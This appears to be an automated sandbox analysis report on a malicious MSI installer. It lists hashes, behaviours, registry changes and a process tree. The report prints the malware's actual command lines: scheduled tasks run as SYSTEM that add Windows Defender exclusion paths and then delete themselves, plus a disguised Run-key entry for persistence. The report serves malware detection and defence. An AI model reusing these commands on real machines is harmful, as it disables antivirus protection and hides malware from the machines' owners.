Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/08/2026, 10:15
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_s0up017.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_s0up017.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
38 signatures
150 seconds
General
- Target install_s0up017.msi
- Size 7.5MB
- Sample260802-mac3dszhkf
- SHA256 886a7a2e6ae3ac9c1159fc4c5b86421df3567c758b40b31687bedd04a637b87a
- MD5 e44f9e4e09b8b8b0d48e8779a559ef2c
- SHA1 1c7aee817df0fbd6a3797686fcb9b81f6d35e450
- SHA512 f9039c722ede8456d11117cb04604079d432961d3cfa2ec30737e2fce96a7175b8c44d660f28e970c78bfe73387120e5d552ac3ffe804a8d24b5a42cb6450a17
- SSDEEP 196608:wCSNa6LGYIbHer+PusmZqP6k3U7CFsiq6mEw:PQa6LgeaPusyqyEWCFiBEw
- TLSH T1017633C5B8562774D08BC734155A21AD722EBFC1DA38ED0BBFED3A0C1EB263654B5260
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\asPDJU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation gqblbl.exe - Executes dropped EXE 1 IoCs
pid Process 3860 gqblbl.exe - Loads dropped DLL 2 IoCs
pid Process 4212 MsiExec.exe 3860 gqblbl.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\asPDJU\\gqblbl.exe\"" gqblbl.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 9 4212 MsiExec.exe 11 4212 MsiExec.exe 26 4212 MsiExec.exe 28 4212 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1920 cmd.exe 464 cmd.exe 3664 cmd.exe 1596 cmd.exe 1224 cmd.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b gqblbl.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\bDBDOq gqblbl.exe File created C:\Program Files (x86)\bDBDOq\bDBDOq.exe gqblbl.exe File created C:\Program Files (x86)\bDBDOq\XPSPLOG.dll gqblbl.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSI752B.tmp msiexec.exe File created C:\Windows\Installer\e587481.msi msiexec.exe File created C:\Windows\Installer\e58747f.msi msiexec.exe File opened for modification C:\Windows\Installer\e58747f.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI75C8.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4840 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4692 cmd.exe 4424 cmd.exe 4972 cmd.exe 3076 cmd.exe 4376 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "0E72D16E69C36534D92BB53CF3FCDC2B" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up017.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4348 schtasks.exe 3340 schtasks.exe 2320 schtasks.exe 976 schtasks.exe 404 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4364 msiexec.exe 4364 msiexec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 4212 MsiExec.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe 3860 gqblbl.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4840 msiexec.exe Token: SeIncreaseQuotaPrivilege 4840 msiexec.exe Token: SeSecurityPrivilege 4364 msiexec.exe Token: SeCreateTokenPrivilege 4840 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4840 msiexec.exe Token: SeLockMemoryPrivilege 4840 msiexec.exe Token: SeIncreaseQuotaPrivilege 4840 msiexec.exe Token: SeMachineAccountPrivilege 4840 msiexec.exe Token: SeTcbPrivilege 4840 msiexec.exe Token: SeSecurityPrivilege 4840 msiexec.exe Token: SeTakeOwnershipPrivilege 4840 msiexec.exe Token: SeLoadDriverPrivilege 4840 msiexec.exe Token: SeSystemProfilePrivilege 4840 msiexec.exe Token: SeSystemtimePrivilege 4840 msiexec.exe Token: SeProfSingleProcessPrivilege 4840 msiexec.exe Token: SeIncBasePriorityPrivilege 4840 msiexec.exe Token: SeCreatePagefilePrivilege 4840 msiexec.exe Token: SeCreatePermanentPrivilege 4840 msiexec.exe Token: SeBackupPrivilege 4840 msiexec.exe Token: SeRestorePrivilege 4840 msiexec.exe Token: SeShutdownPrivilege 4840 msiexec.exe Token: SeDebugPrivilege 4840 msiexec.exe Token: SeAuditPrivilege 4840 msiexec.exe Token: SeSystemEnvironmentPrivilege 4840 msiexec.exe Token: SeChangeNotifyPrivilege 4840 msiexec.exe Token: SeRemoteShutdownPrivilege 4840 msiexec.exe Token: SeUndockPrivilege 4840 msiexec.exe Token: SeSyncAgentPrivilege 4840 msiexec.exe Token: SeEnableDelegationPrivilege 4840 msiexec.exe Token: SeManageVolumePrivilege 4840 msiexec.exe Token: SeImpersonatePrivilege 4840 msiexec.exe Token: SeCreateGlobalPrivilege 4840 msiexec.exe Token: SeBackupPrivilege 4824 vssvc.exe Token: SeRestorePrivilege 4824 vssvc.exe Token: SeAuditPrivilege 4824 vssvc.exe Token: SeBackupPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeBackupPrivilege 536 srtasks.exe Token: SeRestorePrivilege 536 srtasks.exe Token: SeSecurityPrivilege 536 srtasks.exe Token: SeTakeOwnershipPrivilege 536 srtasks.exe Token: SeBackupPrivilege 536 srtasks.exe Token: SeRestorePrivilege 536 srtasks.exe Token: SeSecurityPrivilege 536 srtasks.exe Token: SeTakeOwnershipPrivilege 536 srtasks.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe Token: SeTakeOwnershipPrivilege 4364 msiexec.exe Token: SeRestorePrivilege 4364 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4840 msiexec.exe 4840 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 4364 wrote to memory of 536 4364 msiexec.exe 96 PID 4364 wrote to memory of 4212 4364 msiexec.exe 98 PID 3860 wrote to memory of 1224 3860 gqblbl.exe 113 PID 1224 wrote to memory of 404 1224 cmd.exe 115 PID 1224 wrote to memory of 2852 1224 cmd.exe 116 PID 1224 wrote to memory of 2684 1224 cmd.exe 119 PID 4692 wrote to memory of 3292 4692 cmd.exe 120 PID 3860 wrote to memory of 1920 3860 gqblbl.exe 123 PID 1920 wrote to memory of 4348 1920 cmd.exe 125 PID 1920 wrote to memory of 1752 1920 cmd.exe 126 PID 1920 wrote to memory of 3844 1920 cmd.exe 129 PID 4424 wrote to memory of 2800 4424 cmd.exe 130 PID 3860 wrote to memory of 464 3860 gqblbl.exe 131 PID 464 wrote to memory of 3340 464 cmd.exe 133 PID 464 wrote to memory of 4400 464 cmd.exe 134 PID 464 wrote to memory of 2472 464 cmd.exe 137 PID 4972 wrote to memory of 4356 4972 cmd.exe 138 PID 3860 wrote to memory of 3664 3860 gqblbl.exe 139 PID 3664 wrote to memory of 2320 3664 cmd.exe 141 PID 3664 wrote to memory of 3356 3664 cmd.exe 142 PID 3076 wrote to memory of 1720 3076 cmd.exe 145 PID 3664 wrote to memory of 3888 3664 cmd.exe 146 PID 3860 wrote to memory of 1596 3860 gqblbl.exe 147 PID 1596 wrote to memory of 976 1596 cmd.exe 149 PID 1596 wrote to memory of 1180 1596 cmd.exe 150 PID 1596 wrote to memory of 2480 1596 cmd.exe 153 PID 4376 wrote to memory of 2588 4376 cmd.exe 154 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up017.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4840
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:536
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding C749B8AE9144BEF41BFD14FA8747B1AF E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4212
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4824
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C:\Users\Public\asPDJU\gqblbl.exeC:\Users\Public\asPDJU\gqblbl.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\asPDJU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\asPDJU\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:404
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2852
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4348
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1752
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3340
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4400
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2320
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3356
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1596 -
